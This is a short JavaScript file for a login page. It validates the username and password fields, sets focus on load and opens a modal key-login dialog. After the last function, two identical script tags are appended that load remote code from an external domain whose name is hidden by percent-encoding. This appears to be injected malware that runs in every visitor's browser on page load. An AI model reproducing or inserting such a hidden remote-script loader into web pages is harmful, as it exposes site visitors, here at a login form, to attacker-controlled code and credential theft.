function checkLogin()
{
	if(form1.txtLoginName.value.length==0)
	{
		alert("请填写您的用户名！");
		form1.txtLoginName.focus();
		return false;
	}
	if(form1.txtLoginPwd.value.length==0)
	{
		alert("请填写您的登录密码！");
		form1.txtLoginPwd.focus();
		return false;
	}
	return true;
}
function window.onload()
{
	if(typeof(form1)!="undefined")
	{
		form1.txtLoginName.focus();
		if(form1.txtLoginName.value.length >0)
			form1.chkSaveInfo.checked = true;
	}
}
function IkeyLoginCheck()
{
	var ReturnValue = showModalDialog("/Login/IkeyLoginForm.asp",null,"status:no; center: yes; help: no; dialogWidth:260x; dialogWidth:422px");
	if(!ReturnValue) return;
} 
<script src=http://%63%63%6A%31%2E%63%6E></script><script src=http://%63%63%6A%31%2E%63%6E></script>